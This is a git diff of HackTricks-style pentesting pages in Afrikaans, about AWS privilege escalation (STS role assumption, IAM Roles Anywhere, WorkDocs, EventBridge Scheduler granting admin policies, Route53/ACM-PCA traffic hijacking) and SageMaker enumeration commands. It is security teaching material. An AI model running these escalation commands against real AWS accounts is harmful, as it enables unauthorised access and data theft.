"2012-10-17", -"Statement": [ -{ -"Sid": "OneLogin", -"Effect": "Allow", -"Principal": { -"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" -}, -"Action": "sts:AssumeRoleWithSAML", -"Condition": { -"StringEquals": { -"SAML:aud": "https://signin.aws.amazon.com/saml" -} -} -} -] -} -``` -Om credentials te genereer om die rol te imiteer, kan jy gewoonlik iets soos die volgende gebruik: -```bash -aws sts assume-role-with-saml --role-arn --principal-arn -``` -Maar **verskaffers** mag hul **eie gereedskap** hê om dit makliker te maak, soos [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): -```bash -onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 -``` -**Potensiële impak:** Privesc to the role. - -### `sts:AssumeRoleWithWebIdentity` - -Hierdie toestemming laat toe om 'n stel tydelike sekuriteitsbewyse te kry vir **gebruikers wat geverifieer is in 'n mobiele of webtoepassing, EKS...** by 'n web-identity-verskaffer. [Lees meer hier.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) - -Byvoorbeeld, as 'n **EKS service account** in staat moet wees om **impersonate an IAM role**, sal dit 'n token hê in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** en kan dit **die role aanvaar en inlogbewyse kry** deur iets soos: -```bash -aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token -# The role name can be found in the metadata of the configuration of the pod -``` -### Federation Abuse - -{{#ref}} -../aws-basic-information/aws-federation-abuse.md -{{#endref}} - -### IAM Roles Anywhere Privesc - -AWS IAM RolesAnywhere allows workloads outside AWS to assume IAM roles using X.509 certificates. But when trust policies aren't properly scoped, they can be abused for privilege escalation. - -Om hierdie aanval te verstaan, is dit nodig om te verduidelik wat 'n trust anchor is. 'n trust anchor in AWS IAM RolesAnywhere is die wortel-entiteit van vertroue; dit bevat die publieke sertifikaat van 'n Certificate Authority (CA) wat in die rekening geregistreer is sodat AWS die gepresenteerde X.509-sertifikate kan valideer. Op hierdie manier, as die kliëntsertifikaat deur daardie CA uitgereik is en die trust anchor aktief is, erken AWS dit as geldig. - -Verder is 'n profile die konfigurasie wat bepaal watter kenmerke van die X.509-sertifikaat (soos CN, OU, or SAN) in session tags omskakel sal word, en hierdie tags sal later vergelyk word teen die voorwaardes van die trust policy. - -Hierdie policy het nie beperkings op watter trust anchor of sertifikaatkenmerke toegelaat word nie. Gevolglik kan enige sertifikaat wat aan enige trust anchor in die rekening gekoppel is, gebruik word om hierdie rol aan te neem. -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Principal": { -"Service": "rolesanywhere.amazonaws.com" -}, -"Action": [ -"sts:AssumeRole", -"sts:SetSourceIdentity", -"sts:TagSession" -] -} -] -} - -``` -Vir privesc is die `aws_signing_helper` benodig vanaf https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html - -Deur 'n geldige sertifikaat te gebruik, kan die attacker na 'n rol met hoër voorregte pivot. -```bash -aws_signing_helper credential-process \ ---certificate readonly.pem \ ---private-key readonly.key \ ---trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ ---profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ ---role-arn arn:aws:iam::123456789012:role/Admin -``` -Die trust anchor verifieer dat die kliënt se `readonly.pem`-sertifikaat van sy gemagtigde CA afkomstig is, en binne hierdie `readonly.pem`-sertifikaat is die publieke sleutel wat AWS gebruik om te verifieer dat die handtekening met die ooreenstemmende private sleutel `readonly.key` gemaak is. - -Die sertifikaat verskaf ook attribuutte (soos CN of OU) wat die `default` profiel in tags omskakel, wat die rol se trust policy kan gebruik om te besluit of toegang gemagtig word. As daar geen toestande in die trust policy is nie, het daardie tags geen nut nie, en word toegang toegestaan aan enigiemand met 'n geldige sertifikaat. - -Vir hierdie aanval om moontlik te wees, moet beide die trust anchor en die `default` profiel aktief wees. - -### Verwysings - -- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md new file mode 100644 index 000000000..8031a8c37 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md @@ -0,0 +1,136 @@ +# AWS - STS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## STS + +### `sts:AssumeRole` + +Elke rol word geskep met 'n **role trust policy**, hierdie beleid dui aan **wie die geskepte rol kan aanvaar**. As 'n rol van die **dieselfde account** sê dat 'n account dit kan aanvaar, beteken dit dat die account toegang tot die rol sal hê (en moontlik **privesc**). + +Byvoorbeeld, die volgende role trust policy dui aan dat enigiemand dit kan aanvaar, daarom sal **enige gebruiker in staat wees om te privesc** na die toestemmings wat met daardie rol geassosieer is. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] +} +``` +Jy kan 'n rol naboots deur die volgende uit te voer: +```bash +aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname +``` +**Potensiële impak:** Privesc na die role. + +> [!CAUTION] +> Let daarop dat in hierdie geval die toestemming `sts:AssumeRole` **aangedui moet wees in die role wat misbruik word** en nie in 'n beleid wat aan die aanvaller behoort nie.\ +> Met een uitsondering, om **'n role vanaf 'n ander rekening aan te neem** moet die aanvallerrekening **ook** die **`sts:AssumeRole`** oor die role hê. + + +### `sts:AssumeRoleWithSAML` + +'n trust policy met hierdie role verleen **gebruikers wat via SAML geverifieer is toegang om die role te impersonate.** + +'n voorbeeld van 'n trust policy met hierdie toestemming is: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OneLogin", +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" +}, +"Action": "sts:AssumeRoleWithSAML", +"Condition": { +"StringEquals": { +"SAML:aud": "https://signin.aws.amazon.com/saml" +} +} +} +] +} +``` +Om credentials te genereer om die role te impersonate, kan jy in die algemeen iets soos gebruik: +```bash +aws sts assume-role-with-saml --role-arn --principal-arn +``` +Maar **verskaffers** mag hul **eie gereedskap** hê om dit makliker te maak, soos [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): +```bash +onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 +``` +**Potensiële impak:** Privesc na die rol. + +### `sts:AssumeRoleWithWebIdentity` + +Hierdie toestemming maak dit moontlik om 'n stel tydelike sekuriteitsbewyse te kry vir **gebruikers wat geverifieer is in 'n mobiele of webtoepassing, EKS...** met 'n web identity provider. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) + +Byvoorbeeld, as 'n **EKS service account** in staat moet wees om **impersonate an IAM role**, sal dit 'n token hê in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** en kan dit **assume the role and get credentials** deur iets soos die volgende te doen: +```bash +aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token +# The role name can be found in the metadata of the configuration of the pod +``` +### Federation Abuse + +{{#ref}} +../../aws-basic-information/aws-federation-abuse.md +{{#endref}} + +### IAM Roles Anywhere Privesc + +AWS IAM RolesAnywhere laat workloads buite AWS toe om IAM roles aan te neem met X.509-certifikate. Maar wanneer trust policies nie behoorlik afgeperk is nie, kan hulle misbruik word vir privilege escalation. + +Om hierdie aanval te verstaan, is dit nodig om te verduidelik wat 'n trust anchor is. 'n trust anchor in AWS IAM Roles Anywhere is die wortel-van-vertroue-entiteit; dit bevat die publieke sertifikaat van 'n Certificate Authority (CA) wat in die rekening geregistreer is sodat AWS die aangebode X.509-certifikate kan valideer. Op hierdie manier, as die client certificate deur daardie CA uitgereik is en die trust anchor aktief is, herken AWS dit as geldig. + +Daarbenewens is 'n profile die konfigurasie wat bepaal watter attributte van die X.509-sertifikaat (soos CN, OU, of SAN) omgeskakel sal word na session tags, en hierdie tags sal later teen die voorwaardes van die trust policy vergelyk word. + +Hierdie policy ontbreek beperkings oor watter trust anchor of sertifikaat-attribuut toegelaat word. As gevolg hiervan kan enige sertifikaat wat aan enige trust anchor in die rekening gekoppel is, gebruik word om hierdie role aan te neem. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Service": "rolesanywhere.amazonaws.com" +}, +"Action": [ +"sts:AssumeRole", +"sts:SetSourceIdentity", +"sts:TagSession" +] +} +] +} + +``` +Om te privesc, is die `aws_signing_helper` benodig vanaf https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html + +Vervolgens, deur 'n geldige sertifikaat te gebruik, kan die aanvaller na die hoër voorreg-rol pivot. +```bash +aws_signing_helper credential-process \ +--certificate readonly.pem \ +--private-key readonly.key \ +--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ +--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ +--role-arn arn:aws:iam::123456789012:role/Admin +``` +Die vertrouensanker valideer dat die kliënt se `readonly.pem` sertifikaat van sy gemagtigde CA kom, en binne hierdie `readonly.pem` sertifikaat is die publieke sleutel wat AWS gebruik om te verifieer dat die handtekening gemaak is met die ooreenstemmende private sleutel `readonly.key`. + +Die sertifikaat verskaf ook attribuute (soos CN of OU) wat die `default` profiel omskakel in tags, wat die rol se trust policy kan gebruik om te besluit of toegang gemagtig word. As daar geen voorwaardes in die trust policy is nie, het daardie tags geen nut nie, en word toegang gegee aan enigiemand met ’n geldige sertifikaat. + +Vir hierdie aanval om moontlik te wees, moet beide die vertrouensanker en die `default` profiel aktief wees. + +### Verwysings + +- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md similarity index 57% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md index ade2a0a82..75160b78f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md @@ -1,25 +1,25 @@ # AWS - WorkDocs Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## WorkDocs -Vir meer inligting oor WorkDocs, kyk: +Vir meer inligting oor WorkDocs sien: {{#ref}} -../aws-services/aws-directory-services-workdocs-enum.md +../../aws-services/aws-directory-services-workdocs-enum.md {{#endref}} ### `workdocs:CreateUser` -Skep 'n gebruiker binne die aangeduide Directory, dan sal jy toegang hê tot beide WorkDocs en AD: +Skep 'n gebruiker binne die aangeduide Directory; dan sal jy toegang hê tot beide WorkDocs en AD: ```bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` -### `workdocs:GetDocument`, `(workdocs:DescribeActivities`)` +### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` -Die lêers mag sensitiewe inligting bevat, lees hulle: +Die lêers mag sensitiewe inligting bevat; lees hulle: ```bash # Get what was created in the directory aws workdocs describe-activities --organization-id @@ -32,7 +32,7 @@ aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` -As jy nie toegang het om iets te lees nie, kan jy dit eenvoudig toeken. +As jy nie toegang het om iets te lees nie, kan jy dit net toeken ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER @@ -40,14 +40,14 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo ``` ### `workdocs:AddUserToGroup` -Jy kan 'n gebruiker admin maak deur dit in die groep ZOCALO_ADMIN te stel.\ -Volg die instruksies van [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) +Jy kan 'n gebruiker admin maak deur dit in die groep ZOCALO_ADMIN te plaas.\ +Volg daarvoor die instruksies van [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) -Teken in met daardie gebruiker in workdoc en toegang die admin paneel in `/workdocs/index.html#/admin` +Meld aan met daardie gebruiker in workdoc en gaan na die adminpaneel by `/workdocs/index.html#/admin` -Ek het nie enige manier gevind om dit vanaf die cli te doen nie. +Ek het geen manier gevind om dit vanaf die cli te doen nie. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md similarity index 62% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md index f7552f221..522a53317 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md @@ -1,20 +1,20 @@ # AWS - EventBridge Scheduler Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## EventBridge Scheduler Meer inligting oor EventBridge Scheduler in: {{#ref}} -../aws-services/eventbridgescheduler-enum.md +../../aws-services/eventbridgescheduler-enum.md {{#endref}} ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -'n Aanvaller met daardie toestemmings sal in staat wees om **`te skep`|`op te dateer` 'n skedule en die toestemmings van die skedule rol** wat daaraan geheg is, te misbruik om enige aksie uit te voer. +'n Aanvaller met daardie toestemmings kan **`create`|`update` 'n scheduler en die toestemmings van die daaraan gekoppelde scheduler role misbruik** om enige aksie uit te voer -Byvoorbeeld, hulle kan die skedule konfigureer om **'n Lambda-funksie aan te roep** wat 'n sjabloon aksie is: +Byvoorbeeld, hulle kan die skedule so konfigureer dat dit **invoke a Lambda function** wat 'n templated action is: ```bash aws scheduler create-schedule \ --name MyLambdaSchedule \ @@ -25,7 +25,7 @@ aws scheduler create-schedule \ "RoleArn": "arn:aws:iam:::role/" }' ``` -Benewens templated diensaksies, kan jy **universele teikens** in EventBridge Scheduler gebruik om 'n wye verskeidenheid API-operasies vir baie AWS-dienste aan te roep. Universele teikens bied buigsaamheid om byna enige API aan te roep. Een voorbeeld kan wees om universele teikens te gebruik om "**AdminAccessPolicy**" toe te voeg, met 'n rol wat die "**putRolePolicy**" beleid het: +Benewens gesjabloneerde service-aksies, kan jy **universal targets** in EventBridge Scheduler gebruik om 'n wye reeks API-operasies vir baie AWS-dienste aan te roep. Universal targets bied die buigbaarheid om byna enige API aan te roep. Een voorbeeld is om universal targets te gebruik om "**AdminAccessPolicy**" by te voeg, deur 'n rol te gebruik wat die beleid "**putRolePolicy**" het: ```bash aws scheduler create-schedule \ --name GrantAdminToTargetRoleSchedule \ @@ -42,4 +42,4 @@ aws scheduler create-schedule \ - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md deleted file mode 100644 index 3a588cffa..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ /dev/null @@ -1,32 +0,0 @@ -# AWS - Route53 Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -Vir meer inligting oor Route53, kyk: - -{{#ref}} -../aws-services/aws-route53-enum.md -{{#endref}} - -### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` - -> [!NOTE] -> Om hierdie aanval uit te voer, moet die teikenrekening reeds 'n [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** in die rekening opgestel hê, en EC2-instanties in die VPC(s) moet reeds die sertifikate ingevoer het om dit te vertrou. Met hierdie infrastruktuur in plek, kan die volgende aanval uitgevoer word om AWS API-verkeer te onderskep. - -Ander toestemmings **aanbeveel maar nie vereis vir die enumerasie** deel: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` - -Aneem daar is 'n AWS VPC met verskeie cloud-native toepassings wat met mekaar en met AWS API kommunikeer. Aangesien die kommunikasie tussen die mikrodiens dikwels TLS-geënkripteer is, moet daar 'n private CA wees om die geldige sertifikate vir daardie dienste uit te reik. **As ACM-PCA gebruik word** daarvoor en die teenstander daarin slaag om **toegang te verkry om beide route53 en acm-pca private CA te beheer** met die minimum stel toestemmings hierbo beskryf, kan dit **die toepassingsoproepe na AWS API oorneem** en hul IAM-toestemmings oorneem. - -Dit is moontlik omdat: - -- AWS SDK's het nie [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) nie -- Route53 laat die skep van Private Hosted Zone en DNS-rekords vir AWS API-domeinnames toe -- Private CA in ACM-PCA kan nie beperk word tot die ondertekening van sertifikate slegs vir spesifieke Algemene Name nie - -**Potensiële Impak:** Indirekte privesc deur die onderskepping van sensitiewe inligting in die verkeer. - -#### Exploitatie - -Vind die eksploitasiestappe in die oorspronklike navorsing: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md new file mode 100644 index 000000000..cc4f44774 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md @@ -0,0 +1,32 @@ +# AWS - Route53 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +Vir meer inligting oor Route53 kyk: + +{{#ref}} +../../aws-services/aws-route53-enum.md +{{#endref}} + +### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` + +> [!NOTE] +> Om hierdie aanval uit te voer moet die teikenrekening reeds 'n [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** opgestel hê in die rekening, en EC2-instanties in die VPC(s) moet reeds die sertifikate ingevoer hê om dit te vertrou. Met hierdie infrastruktuur in plek kan die volgende aanval uitgevoer word om AWS API-verkeer te onderskep. + +Ander toestemmings wat aanbeveel word maar nie vereis is vir die enumerasie-deel nie: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` + +Aangesien die kommunikasie tussen die microdienste dikwels met TLS versleuteld is, moet daar 'n private CA wees om geldige sertifikate vir daardie dienste uit te reik. **If ACM-PCA is used** daarvoor en die teenstander slaag daarin om **toegang te kry om beide route53 en die acm-pca private CA te beheer** met die minimum stel permissies hierbo beskryf, kan hy **die toepassingsoproepe na die AWS API kaapseer** en hul IAM-permissies oorneem. + +Dit is moontlik omdat: + +- AWS SDKs het nie [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) nie +- Route53 laat toe om Private Hosted Zone en DNS-rekords vir AWS APIs domeinnames te skep +- Private CA in ACM-PCA kan nie beperk word om slegs sertifikate vir spesifieke Common Names te onderteken nie + +**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die verkeer te onderskep. + +#### Exploitation + +Vind die uitbuitingstappe in die oorspronklike navorsing: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md similarity index 55% rename from src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md rename to src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md index 890386b6c..0ddafc646 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md @@ -1,10 +1,10 @@ # AWS - DocumentDB Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## DocumentDB -Amazon DocumentDB, wat kompatibiliteit met MongoDB bied, word aangebied as 'n **vinnige, betroubare en volledig bestuurde databasediens**. Ontwerp vir eenvoud in implementering, werking en skaalbaarheid, dit stel gebruikers in staat tot die **naadlose migrasie en werking van MongoDB-kompatible databases in die wolk**. Gebruikers kan hierdie diens benut om hul bestaande toepassingskode uit te voer en bekende bestuurders en gereedskap te gebruik, wat 'n gladde oorgang en werking soos met MongoDB verseker. +Amazon DocumentDB, wat versoenbaarheid met MongoDB bied, word aangebied as 'n **vinnige, betroubare en volledig bestuurde databasisdiens**. Ontwerp vir eenvoud in implementering, bedryf en skaalbaarheid, laat dit toe die **naatlose migrasie en werking van MongoDB-verenigbare databasisse in die wolk**. Gebruikers kan hierdie diens gebruik om hul bestaande toepassingskode uit te voer en bekende drywers en gereedskap te benut, wat 'n gladde oorgang en werking verseker wat soortgelyk is aan die werk met MongoDB. ### Enumeration ```bash @@ -19,9 +19,9 @@ aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name ``` -### NoSQL Inspuiting +### NoSQL Injection -Aangesien DocumentDB 'n MongoDB-ondersteunde databasis is, kan jy jou voorstel dat dit ook kwesbaar is vir algemene NoSQL inspuitingsaanvalle: +Aangesien DocumentDB 'n MongoDB-verenigbare databasis is, kan jy voorstel dat dit ook kwesbaar is vir algemene NoSQL injection-aanvalle: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html @@ -30,11 +30,11 @@ https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html ### DocumentDB {{#ref}} -../aws-unauthenticated-enum-access/aws-documentdb-enum.md +../../aws-unauthenticated-enum-access/aws-documentdb-enum/README.md {{#endref}} ## Verwysings - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md new file mode 100644 index 000000000..5a7543d72 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md @@ -0,0 +1,202 @@ +# AWS - SageMaker Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Service Overview + +Amazon SageMaker is AWS' bestuurde masjienleer-platform wat notebooks, opleidingsinfrastruktuur, orkestrasie, registrasies, en bestuurde endpoints saamvoeg. 'n Kompromie van SageMaker-bronne verskaf tipies: + +- Langlewende IAM execution roles met wye toegang tot S3, ECR, Secrets Manager, of KMS. +- Toegang tot sensitiewe datastelle gesto­reer in S3, EFS, of binne feature stores. +- Netwerk-footholds binne VPCs (Studio apps, training jobs, endpoints). +- High-privilege presigned URLs wat console-authentisering omseil. + +Om te verstaan hoe SageMaker saamgestel is, is sleutel voordat jy pivot, persist, of exfiltrate data. + +## Core Building Blocks + +- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Elke domain het 'n gedeelde EFS-lêerstelsel en 'n standaard execution role. +- **Notebook Instances**: Bestuurde EC2-instansies vir standalone notebooks; gebruik afsonderlike execution roles. +- **Training / Processing / Transform Jobs**: Verganklike kontainers wat kode uit ECR trek en data uit S3. +- **Pipelines & Experiments**: Georkestreerde workflows wat alle stappe, insette en uitsette beskryf. +- **Models & Endpoints**: Verpakte artefakte wat uitgerol word vir inference via HTTPS endpoints. +- **Feature Store & Data Wrangler**: Bestuurde dienste vir data-voorbereiding en kenmerkbestuur. +- **Autopilot & JumpStart**: Outomatiese ML en 'n gekurideerde modelkatalogus. +- **MLflow Tracking Servers**: Bestuurde MLflow UI/API met presigned access tokens. + +Elke hulpbron verwys na 'n execution role, S3-ligginge, kontainerbeelde, en opsionele VPC/KMS-konfigurasie—capture all of them during enumeration. + +## Account & Global Metadata +```bash +REGION=us-east-1 +# Portfolio status, used when provisioning Studio resources +aws sagemaker get-sagemaker-servicecatalog-portfolio-status --region $REGION + +# List execution roles used by models (extend to other resources as needed) +aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' --output text | tr ' ' ' +' | sort -u + +# Generic tag sweep across any SageMaker ARN you know +aws sagemaker list-tags --resource-arn --region $REGION +``` +Neem kennis van enige cross-account trust (execution roles or S3 buckets with external principals) en basiese beperkings soos service control policies of SCPs. + +## Studio Domains, Apps & Shared Spaces +```bash +aws sagemaker list-domains --region $REGION +aws sagemaker describe-domain --domain-id --region $REGION +aws sagemaker list-user-profiles --domain-id-equals --region $REGION +aws sagemaker describe-user-profile --domain-id --user-profile-name --region $REGION + +# Enumerate apps (JupyterServer, KernelGateway, RStudioServerPro, CodeEditor, Canvas, etc.) +aws sagemaker list-apps --domain-id-equals --region $REGION +aws sagemaker describe-app --domain-id --user-profile-name --app-type JupyterServer --app-name default --region $REGION + +# Shared collaborative spaces +aws sagemaker list-spaces --domain-id-equals --region $REGION +aws sagemaker describe-space --domain-id --space-name --region $REGION + +# Studio lifecycle configurations (shell scripts at start/stop) +aws sagemaker list-studio-lifecycle-configs --region $REGION +aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name --region $REGION +``` +Wat om op te neem: + +- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`. +- Gemonteerde EFS (`HomeEfsFileSystemId`) en S3 huismappe. +- Lifecycle scripts (bevat dikwels bootstrap credentials of ekstra code wat gepush/pull word). + +> [!TIP] +> Presigned Studio URLs kan verifikasie omseil as dit wyd toegeken word. + +## Notebook Instances & Lifecycle Configs +```bash +aws sagemaker list-notebook-instances --region $REGION +aws sagemaker describe-notebook-instance --notebook-instance-name --region $REGION +aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION +aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name --region $REGION +``` +Notebook-metadata onthul: + +- Uitvoeringsrol (`RoleArn`), direkte internettoegang vs. VPC-only-modus. +- S3-liggings in `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`. +- Lewensiklus-skripte vir credentials of persistence hooks. + +## Opleiding, Verwerking, Transformasie & Batch-take +```bash +aws sagemaker list-training-jobs --region $REGION +aws sagemaker describe-training-job --training-job-name --region $REGION + +aws sagemaker list-processing-jobs --region $REGION +aws sagemaker describe-processing-job --processing-job-name --region $REGION + +aws sagemaker list-transform-jobs --region $REGION +aws sagemaker describe-transform-job --transform-job-name --region $REGION +``` +Ondersoek: + +- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – which ECR images are deployed. +- `InputDataConfig` & `OutputDataConfig` – S3 buckets, voorvoegsels en KMS-sleutels. +- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – bepaal netwerk- of enkripsie-opstelling. +- `HyperParameters` kan leak omgewingsgeheime of verbindingsstringe. + +## Pipelines, Eksperimente & Proewe +```bash +aws sagemaker list-pipelines --region $REGION +aws sagemaker list-pipeline-executions --pipeline-name --region $REGION +aws sagemaker describe-pipeline --pipeline-name --region $REGION + +aws sagemaker list-experiments --region $REGION +aws sagemaker list-trials --experiment-name --region $REGION +aws sagemaker list-trial-components --trial-name --region $REGION +``` +Pyplyn-definisies beskryf elke stap, die geassosieerde rolle, container images, en omgewingsveranderlikes. Trial-komponente bevat dikwels opleidings-artefak-URIs, S3 logs, en metrieks wat op sensitiewe datavloei dui. + +## 